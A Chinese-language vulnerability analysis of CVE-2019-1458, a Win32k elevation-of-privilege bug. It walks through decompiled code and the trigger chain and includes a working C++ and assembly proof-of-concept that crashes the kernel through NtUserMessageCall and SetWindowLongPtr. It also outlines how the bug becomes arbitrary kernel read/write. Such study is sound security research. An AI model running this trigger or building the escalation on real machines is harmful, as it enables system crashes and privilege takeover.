0%

CVE-2019-1458漏洞分析

摘要

CVE-2019-1458Win32k中的特权提升漏洞,Win32k组件无法正确处理内存中的对象时,导致Windows中存在一个特权提升漏洞。该漏洞存在于win32k的xxxPaintSwitchWindow函数中,函数会将窗口对象扩展区域最开始八字节保存的内容取出,将其作为内存地址进行读写。但是该地址可以通过SetWindowLong函数进行更改,而函数没有验证保存的内容是否指向合法的地址就进行读写,如果地址不合法,则会产生BSOD错误。

通过设置,可以利用函数对指向地址进行读写的操作来扩大窗口的cbwndExtra,通过内存布局,在被扩大cbwndExtra的窗口高地址不远处布置一个窗口对象,通过修改窗口对象的成员实现任意地址读写,最终实现提权。

成功利用此漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可能会安装程序、查看、更改或删除数据;或创建具有完全用户权限的新帐户。

漏洞分析

漏洞存在于函数为xxxPaintSwitchWindow,我们知道64位程序的调用约定是rcx,rdx,r8,r9。该函数只有一个参数,也就是窗口对象的tagWnd结构体,该结构体在Win7是公开的。下面圈出来的地方分别是,先将tagWND赋给rsi,然后取出扩展区域最开始的八个字节保存的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
typedef struct _tagWND                                     // 170 elements, 0x128 bytes (sizeof) 
{
/*0x000*/ struct _THRDESKHEAD head; // 5 elements, 0x28 bytes (sizeof)
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x028*/ ULONG32 state;
struct // 32 elements, 0x4 bytes (sizeof)
{
/*0x028*/ INT32 bHasMeun : 1; // 0 BitPosition
/*0x028*/ INT32 bHasVerticalScrollbar : 1; // 1 BitPosition
/*0x028*/ INT32 bHasHorizontalScrollbar : 1; // 2 BitPosition
/*0x028*/ INT32 bHasCaption : 1; // 3 BitPosition
/*0x028*/ INT32 bSendSizeMoveMsgs : 1; // 4 BitPosition
/*0x028*/ INT32 bMsgBox : 1; // 5 BitPosition
/*0x028*/ INT32 bActiveFrame : 1; // 6 BitPosition
/*0x028*/ INT32 bHasSPB : 1; // 7 BitPosition
/*0x028*/ INT32 bNoNCPaint : 1; // 8 BitPosition
/*0x028*/ INT32 bSendEraseBackground : 1; // 9 BitPosition
/*0x028*/ INT32 bEraseBackground : 1; // 10 BitPosition
/*0x028*/ INT32 bSendNCPaint : 1; // 11 BitPosition
/*0x028*/ INT32 bInternalPaint : 1; // 12 BitPosition
/*0x028*/ INT32 bUpdateDirty : 1; // 13 BitPosition
/*0x028*/ INT32 bHiddenPopup : 1; // 14 BitPosition
/*0x028*/ INT32 bForceMenuDraw : 1; // 15 BitPosition
/*0x028*/ INT32 bDialogWindow : 1; // 16 BitPosition
/*0x028*/ INT32 bHasCreatestructName : 1; // 17 BitPosition
/*0x028*/ INT32 bServerSideWindowProc : 1; // 18 BitPosition
/*0x028*/ INT32 bAnsiWindowProc : 1; // 19 BitPosition
/*0x028*/ INT32 bBeingActivated : 1; // 20 BitPosition
/*0x028*/ INT32 bHasPalette : 1; // 21 BitPosition
/*0x028*/ INT32 bPaintNotProcessed : 1; // 22 BitPosition
/*0x028*/ INT32 bSyncPaintPending : 1; // 23 BitPosition
/*0x028*/ INT32 bRecievedQuerySuspendMsg : 1; // 24 BitPosition
/*0x028*/ INT32 bRecievedSuspendMsg : 1; // 25 BitPosition
/*0x028*/ INT32 bToggleTopmost : 1; // 26 BitPosition
/*0x028*/ INT32 bRedrawIfHung : 1; // 27 BitPosition
/*0x028*/ INT32 bRedrawFrameIfHung : 1; // 28 BitPosition
/*0x028*/ INT32 bAnsiCreator : 1; // 29 BitPosition
/*0x028*/ INT32 bMaximizesToMonitor : 1; // 30 BitPosition
/*0x028*/ INT32 bDestroyed : 1; // 31 BitPosition
};
};
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x02C*/ ULONG32 state2;
struct // 30 elements, 0x4 bytes (sizeof)
{
/*0x02C*/ INT32 bWMPaintSent : 1; // 0 BitPosition
/*0x02C*/ INT32 bEndPaintInvalidate : 1; // 1 BitPosition
/*0x02C*/ INT32 bStartPaint : 1; // 2 BitPosition
/*0x02C*/ INT32 bOldUI : 1; // 3 BitPosition
/*0x02C*/ INT32 bHasClientEdge : 1; // 4 BitPosition
/*0x02C*/ INT32 bBottomMost : 1; // 5 BitPosition
/*0x02C*/ INT32 bFullScreen : 1; // 6 BitPosition
/*0x02C*/ INT32 bInDestroy : 1; // 7 BitPosition
/*0x02C*/ INT32 bWin31Compat : 1; // 8 BitPosition
/*0x02C*/ INT32 bWin40Compat : 1; // 9 BitPosition
/*0x02C*/ INT32 bWin50Compat : 1; // 10 BitPosition
/*0x02C*/ INT32 bMaximizeMonitorRegion : 1; // 11 BitPosition
/*0x02C*/ INT32 bCloseButtonDown : 1; // 12 BitPosition
/*0x02C*/ INT32 bMaximizeButtonDown : 1; // 13 BitPosition
/*0x02C*/ INT32 bMinimizeButtonDown : 1; // 14 BitPosition
/*0x02C*/ INT32 bHelpButtonDown : 1; // 15 BitPosition
/*0x02C*/ INT32 bScrollBarLineUpBtnDown : 1; // 16 BitPosition
/*0x02C*/ INT32 bScrollBarPageUpBtnDown : 1; // 17 BitPosition
/*0x02C*/ INT32 bScrollBarPageDownBtnDown : 1; // 18 BitPosition
/*0x02C*/ INT32 bScrollBarLineDownBtnDown : 1; // 19 BitPosition
/*0x02C*/ INT32 bAnyScrollButtonDown : 1; // 20 BitPosition
/*0x02C*/ INT32 bScrollBarVerticalTracking : 1; // 21 BitPosition
/*0x02C*/ INT32 bForceNCPaint : 1; // 22 BitPosition
/*0x02C*/ INT32 bForceFullNCPaintClipRgn : 1; // 23 BitPosition
/*0x02C*/ INT32 FullScreenMode : 3; // 24 BitPosition
/*0x02C*/ INT32 bCaptionTextTruncated : 1; // 27 BitPosition
/*0x02C*/ INT32 bNoMinmaxAnimatedRects : 1; // 28 BitPosition
/*0x02C*/ INT32 bSmallIconFromWMQueryDrag : 1; // 29 BitPosition
/*0x02C*/ INT32 bShellHookRegistered : 1; // 30 BitPosition
/*0x02C*/ INT32 bWMCreateMsgProcessed : 1; // 31 BitPosition
};
};
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x030*/ ULONG32 ExStyle;
struct // 32 elements, 0x4 bytes (sizeof)
{
/*0x030*/ INT32 bWS_EX_DLGMODALFRAME : 1; // 0 BitPosition
/*0x030*/ INT32 bUnused1 : 1; // 1 BitPosition
/*0x030*/ INT32 bWS_EX_NOPARENTNOTIFY : 1; // 2 BitPosition
/*0x030*/ INT32 bWS_EX_TOPMOST : 1; // 3 BitPosition
/*0x030*/ INT32 bWS_EX_ACCEPTFILE : 1; // 4 BitPosition
/*0x030*/ INT32 bWS_EX_TRANSPARENT : 1; // 5 BitPosition
/*0x030*/ INT32 bWS_EX_MDICHILD : 1; // 6 BitPosition
/*0x030*/ INT32 bWS_EX_TOOLWINDOW : 1; // 7 BitPosition
/*0x030*/ INT32 bWS_EX_WINDOWEDGE : 1; // 8 BitPosition
/*0x030*/ INT32 bWS_EX_CLIENTEDGE : 1; // 9 BitPosition
/*0x030*/ INT32 bWS_EX_CONTEXTHELP : 1; // 10 BitPosition
/*0x030*/ INT32 bMakeVisibleWhenUnghosted : 1; // 11 BitPosition
/*0x030*/ INT32 bWS_EX_RIGHT : 1; // 12 BitPosition
/*0x030*/ INT32 bWS_EX_RTLREADING : 1; // 13 BitPosition
/*0x030*/ INT32 bWS_EX_LEFTSCROLLBAR : 1; // 14 BitPosition
/*0x030*/ INT32 bUnused2 : 1; // 15 BitPosition
/*0x030*/ INT32 bWS_EX_CONTROLPARENT : 1; // 16 BitPosition
/*0x030*/ INT32 bWS_EX_STATICEDGE : 1; // 17 BitPosition
/*0x030*/ INT32 bWS_EX_APPWINDOW : 1; // 18 BitPosition
/*0x030*/ INT32 bWS_EX_LAYERED : 1; // 19 BitPosition
/*0x030*/ INT32 bWS_EX_NOINHERITLAYOUT : 1; // 20 BitPosition
/*0x030*/ INT32 bUnused3 : 1; // 21 BitPosition
/*0x030*/ INT32 bWS_EX_LAYOUTRTL : 1; // 22 BitPosition
/*0x030*/ INT32 bWS_EX_NOPADDEDBORDER : 1; // 23 BitPosition
/*0x030*/ INT32 bUnused4 : 1; // 24 BitPosition
/*0x030*/ INT32 bWS_EX_COMPOSITED : 1; // 25 BitPosition
/*0x030*/ INT32 bUIStateActive : 1; // 26 BitPosition
/*0x030*/ INT32 bWS_EX_NOACTIVATE : 1; // 27 BitPosition
/*0x030*/ INT32 bWS_EX_COMPOSITEDCompositing : 1; // 28 BitPosition
/*0x030*/ INT32 bRedirected : 1; // 29 BitPosition
/*0x030*/ INT32 bUIStateKbdAccelHidden : 1; // 30 BitPosition
/*0x030*/ INT32 bUIStateFocusRectHidden : 1; // 31 BitPosition
};
};
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x034*/ ULONG32 style;
struct // 31 elements, 0x4 bytes (sizeof)
{
/*0x034*/ INT32 bReserved1 : 16; // 0 BitPosition
/*0x034*/ INT32 bWS_MAXIMIZEBOX : 1; // 16 BitPosition
/*0x034*/ INT32 bReserved2 : 16; // 0 BitPosition
/*0x034*/ INT32 bWS_TABSTOP : 1; // 16 BitPosition
/*0x034*/ INT32 bReserved3 : 16; // 0 BitPosition
/*0x034*/ INT32 bUnused5 : 1; // 16 BitPosition
/*0x034*/ INT32 bWS_MINIMIZEBOX : 1; // 17 BitPosition
/*0x034*/ INT32 bReserved4 : 16; // 0 BitPosition
/*0x034*/ INT32 bUnused6 : 1; // 16 BitPosition
/*0x034*/ INT32 bWS_GROUP : 1; // 17 BitPosition
/*0x034*/ INT32 bReserved5 : 16; // 0 BitPosition
/*0x034*/ INT32 bUnused7 : 2; // 16 BitPosition
/*0x034*/ INT32 bWS_THICKFRAME : 1; // 18 BitPosition
/*0x034*/ INT32 bReserved6 : 16; // 0 BitPosition
/*0x034*/ INT32 bUnused8 : 2; // 16 BitPosition
/*0x034*/ INT32 bWS_SIZEBOX : 1; // 18 BitPosition
/*0x034*/ INT32 bReserved7 : 16; // 0 BitPosition
/*0x034*/ INT32 bUnused9 : 3; // 16 BitPosition
/*0x034*/ INT32 bWS_SYSMENU : 1; // 19 BitPosition
/*0x034*/ INT32 bWS_HSCROLL : 1; // 20 BitPosition
/*0x034*/ INT32 bWS_VSCROLL : 1; // 21 BitPosition
/*0x034*/ INT32 bWS_DLGFRAME : 1; // 22 BitPosition
/*0x034*/ INT32 bWS_BORDER : 1; // 23 BitPosition
/*0x034*/ INT32 bMaximized : 1; // 24 BitPosition
/*0x034*/ INT32 bWS_CLIPCHILDREN : 1; // 25 BitPosition
/*0x034*/ INT32 bWS_CLIPSIBLINGS : 1; // 26 BitPosition
/*0x034*/ INT32 bDisabled : 1; // 27 BitPosition
/*0x034*/ INT32 bVisible : 1; // 28 BitPosition
/*0x034*/ INT32 bMinimized : 1; // 29 BitPosition
/*0x034*/ INT32 bWS_CHILD : 1; // 30 BitPosition
/*0x034*/ INT32 bWS_POPUP : 1; // 31 BitPosition
};
};
/*0x038*/ VOID* hModule;
/*0x040*/ UINT16 hMod16;
/*0x042*/ UINT16 fnid;
/*0x044*/ UINT8 _PADDING0_[0x4];
/*0x048*/ struct _tagWND* spwndNext;
/*0x050*/ struct _tagWND* spwndPrev;
/*0x058*/ struct _tagWND* spwndParent;
/*0x060*/ struct _tagWND* spwndChild;
/*0x068*/ struct _tagWND* spwndOwner;
/*0x070*/ struct _tagRECT rcWindow; // 4 elements, 0x10 bytes (sizeof)
/*0x080*/ struct _tagRECT rcClient; // 4 elements, 0x10 bytes (sizeof)
/*0x090*/ FUNCT_0075_0FB0_lpfnWndProc_aStoCidPfn* lpfnWndProc;
/*0x098*/ struct _tagCLS* pcls;
/*0x0A0*/ struct _HRGN__* hrgnUpdate;
/*0x0A8*/ struct _tagPROPLIST* ppropList;
/*0x0B0*/ struct _tagSBINFO* pSBInfo;
/*0x0B8*/ struct _tagMENU* spmenuSys;
/*0x0C0*/ struct _tagMENU* spmenu;
/*0x0C8*/ struct _HRGN__* hrgnClip;
/*0x0D0*/ struct _HRGN__* hrgnNewFrame;
/*0x0D8*/ struct _LARGE_UNICODE_STRING strName; // 4 elements, 0x10 bytes (sizeof)
/*0x0E8*/ INT32 cbwndExtra;
/*0x0EC*/ UINT8 _PADDING1_[0x4];
/*0x0F0*/ struct _tagWND* spwndLastActive;
/*0x0F8*/ struct _HIMC__* hImc;
/*0x100*/ UINT64 dwUserData;
/*0x108*/ struct _ACTIVATION_CONTEXT* pActCtx;
/*0x110*/ struct _D3DMATRIX* pTransform;
/*0x118*/ struct _tagWND* spwndClipboardListenerNext;
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x120*/ ULONG32 ExStyle2;
struct // 12 elements, 0x4 bytes (sizeof)
{
/*0x120*/ INT32 bClipboardListener : 1; // 0 BitPosition
/*0x120*/ INT32 bLayeredInvalidate : 1; // 1 BitPosition
/*0x120*/ INT32 bRedirectedForPrint : 1; // 2 BitPosition
/*0x120*/ INT32 bLinked : 1; // 3 BitPosition
/*0x120*/ INT32 bLayeredForDWM : 1; // 4 BitPosition
/*0x120*/ INT32 bLayeredLimbo : 1; // 5 BitPosition
/*0x120*/ INT32 bHIGHDPI_UNAWARE_Unused : 1; // 6 BitPosition
/*0x120*/ INT32 bVerticallyMaximizedLeft : 1; // 7 BitPosition
/*0x120*/ INT32 bVerticallyMaximizedRight : 1; // 8 BitPosition
/*0x120*/ INT32 bHasOverlay : 1; // 9 BitPosition
/*0x120*/ INT32 bConsoleWindow : 1; // 10 BitPosition
/*0x120*/ INT32 bChildNoActivate : 1; // 11 BitPosition
};
};
}tagWND, *PtagWND;

image-20220801185405188

验证保存的地址是否为0,以及保存的地址偏移0x6C的内容是否为0:

image-20220801190312808

对rdi保存的地址偏移0x5C到0x6C这段区域进行增减操作,增减的数值由GetDPIMetrics函数的返回值决定,这些操作是会扩大这些与rdi偏移的地址中保存的内容

image-20220801191229317

总结,函数取出扩展区域最开始八字节保存的地址,仅验证这个地址是否为0,对于它是否合法没有验证。而扩展区域中的内容又可以在用户层通过SetWindowLong函数修改,如果把这个地址指向窗口对象的cbwndExtra成员地址偏移-0x60处,最后面的增减操作就会扩大cbwndExtra

一步步交叉引用可以看到调用链为xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow,第一个函数在InitFunctionTables表中,要想调用xxxWrapSwitchWndProc函数,我们需要调用NtUserMessageCall,下面是它的函数申明

1
NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType)

首先该函数在msg < 0x400的时候,就会调用gapfnMessageCall数组中保存的函数地址:

image-20220801194743717

image-20220801195018377

gapfnMessageCall数组保存了一系列的函数,其中就有NtUserfnINLPDRAWITEMSTRUCT:

image-20220801195122821

NtUserfnINLPDRAWITEMSTRUCT函数通过参数dwType计算偏移,调用gpsi偏移中保存的函数:

image-20220801195347598

gpsi偏移地址保存的函数在InitFunctionTables函数中初始化,其中偏移0x40处保存了xxxWrapSwitchWndProc,所以参数dwType需要为0,这样(8 * 6) & 0x1F+ 0x10 = 0x30 + 0x10 = 0x40,NtUserfnINLPDRAWITEMSTRUCT就会调用xxxWrapSwitchWndProc

image-20220801201534046

根据前面的分析xxxWrapSwitchWndProc会调用xxxSwitchWndProc函数,函数分为下面两个部分,首先第一个部分是判断tagWND->fnid值,对于新创建的窗口,该值为0。

在第一个if语句中,tagWND+0xE8tagWND->cbwndExtra,因为tagWND->fnid已经是0了,并且因为要用到扩展区域最开始八字节保存的内容,所以这里cbwndExtra至少为8。*(gpsi+0x154)值在未修复版本的win32k中为0,在修复版本中即使它被设置为0x130。那么,这里就是在判断gpsi+0x154保存的内容大于等于至少0x130,所以这个条件不会成立。

第二个if中,在传递的参数msg为WM_CREATE的时候,函数就不会返回:

1
#define WM_CREATE                       0x0001

第三个if中,(tagWND+0x128会紧接在tagWND结构之后,也就是后面我们要控制的ExtraBytes)只要通过SetWindowLong设置扩展区域起始的八字节不为0就不会返回。

如果这三处都不成立,就会将tagWND->fnid设置为0x2A0

image-20220801203438234

第二部分就是switch部分,msg为0x3A或者0x14的时候,xxxSwitchWndProc就会调用xxxPaintSwitchWindow

注意函数逻辑,我们需要两次进入这个函数才能出发漏洞,第一次进入msg为1,最后将tagWND->fnid设置为0x2A0,第二次调用的时候就可以将msg指定为0x3A或者0x14,进而调用漏洞函数xxxPaintSwitchWindow,下面是这个函数的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall xxxPaintSwitchWindow(tagWND *pwndSwitch)
{
...
if ( (pwndSwitch->style & 0x10000000) != 0 )//bVisible被置位
{
if ( (pwndSwitch->fnid & 0x3FFF) == 0x2A0
/*7*/ && pwndSwitch->cbwndExtra + 0x128i64 == *(unsigned __int16 *)(gpsi + 0x154) )
{
if ( *((char *)&pwndSwitch->1 + 3) < 0 )
return;
ExtraBytes = (_QWORD *)pwndSwitch->ExtraBytes;//控制这个值
}
if ( ExtraBytes )
{
hdcSwitch = (HDC)GetDCEx(pwndSwitch, 0i64, 0x10000i64);
if ( !*((_DWORD *)ExtraBytes + 0x1B) )
goto LABEL_11;
/*18*/LOBYTE(v3) = 0x12;
if ( (GetKeyState(v3) & 0x8000u) == 0i64 )//判断Alt键状态
goto LABEL_25;
if ( !*((_DWORD *)ExtraBytes + 0x1B) )
{
LABEL_11:
if ( GetAsyncKeyState(0x12u) >= 0 )//判断Alt键状态
goto LABEL_25;
}
GetClientRect(pwndSwitch, (char *)ExtraBytes + 92);
FillRect(hdcSwitch, (char *)ExtraBytes + 0x5C, *(_QWORD *)(gpsi + 3024));
v5 = -*((_DWORD *)GetDPIMetrics() + 0x13);
v6 = *((_DWORD *)GetDPIMetrics() + 0x12);
*((_DWORD *)ExtraBytes + 0x18) -= v5;
*((_DWORD *)ExtraBytes + 0x1A) += v5;
v6 *= -2;
*((_DWORD *)ExtraBytes + 0x17) -= v6;
*((_DWORD *)ExtraBytes + 0x19) += v6;
...
}
...
}
...
}

因为IDA上都是偏移不是很明确,所以这里借鉴了这位博主的博客,其中pwndSwitch表示的是被切换窗口的内核对象,满足4个条件:

  • 被切换的窗口可视 @line:4
  • 被切换窗口的fnid&0x3FFF==0x2A0
  • 被切换的窗口的额外数据大小加上0x128的值与gpsi+0x154指向的内存值相等 @line:7
  • Alt键按下

关于第三点,创建窗口的时候,cbwndExtra只需要设置为8就可以完成触发和利用。所以这里就是在判断[gpsi + 0x154]是否等于0x130。而创建类名为"#32771"(0x8003)窗口的时候,会将[gpsi + 0x154]设置为0x130,所以只需要通过创建这样一个窗口就可以绕过。最后五行就是漏洞关键点,获取的ExtraBytes的值会被当成一个指针去修改一块内存的值,我们可以控制这个变量的值,进而实现任意内存破坏。

总结

所以漏洞触发步骤如下:

创建一个可见的带有八字节扩展区域的窗口用来触发漏洞。

调用NtUserMessageCall,参数msg为WM_CREATE(0x1),将tagWND->fnid设置为0x2A0

将扩展区域最开始八字节保存的地址设置为一个不合法的地址。

创建类名为”32771”的窗口,将[gpsi + 0x154]设置为0x130

调用NtUserMessageCall函数,参数msg为WM_ERASEBKGND(0x14),这样就会指向漏洞函数。

漏洞验证POC

我们需要获得NtUserMessageCall函数的系统调用号,windbg调试的时候先.reload,详细可以看这篇博客

源文件一共两个,一个cpp一个asm.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
#include<Windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

void main()
{

MessageBoxA(NULL, "text:", "start", NULL);

HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);

printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, 0x4141414141414);
printf("[*] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
_DATA SEGMENT
_DATA ENDS
_TEXT SEGMENT

PUBLIC NtUserMessageCall
NtUserMessageCall PROC
mov r10, rcx
mov eax, 1007h ; Win7 sp1
syscall
ret
NtUserMessageCall ENDP
_TEXT ENDS
END

将项目配置属性为DEDUG,并且设置**项目属性-配置属性-C/C+±代码生成-运行库-多线程调试(/MTd)**。先运行程序,然后在windbg打开源文件,然后输入!process 0 0命令

image-20220803102213759

然后输入.process /i /r /p 进程内核对象地址,WinDBG显示继续执行需要输入g,输入g,回车

image-20220803104226511

输入.reload /f /user重载用户层模块符号,在关键的地方下断点。

image-20220803161726850

xxx函数运行该条指令后,tagWND->fnid已经修改为0x2a0

image-20220803162348396

image-20220803162440758

第二次调用NtUserMessageCall的时候。经过前面的分析会进行一些if判断。下图中就是前面代码第7行的判断。

image-20220803164631884

image-20220803170041610

总结

该漏洞主要是未正确初始化*(gpsi+0x154)变量。

gpsi是一个全局指针指向tagSERVERINFO结构。这个结构描述了系统窗口(意味着菜单,桌面,切换等等)。这些窗口通过FNID值进行识别,例如 0x2A0 代表着切换窗口。并且这允许用户空间应用程序在任务切换窗口中设置额外的窗口数据

当使用RegisterClassEx注册窗口时,我们有机会在WNDCLASSEX上指定cbWndExtra 字段,该字段描述了除tagWND结构外还将分配多少字节的额外数据,以储存窗口的额外信息。然后,我们可以通过调用SetWindowLongPtr函数修改这些额外的字节。这个额外的字节是一个指针,所以可以解引用来实现任意地址写。

参考链接:CVE-2019-1458提权漏洞学习笔记

https://github.com/piotrflorczyk/cve-2019-1458_POC

CVE-2019-1458 分析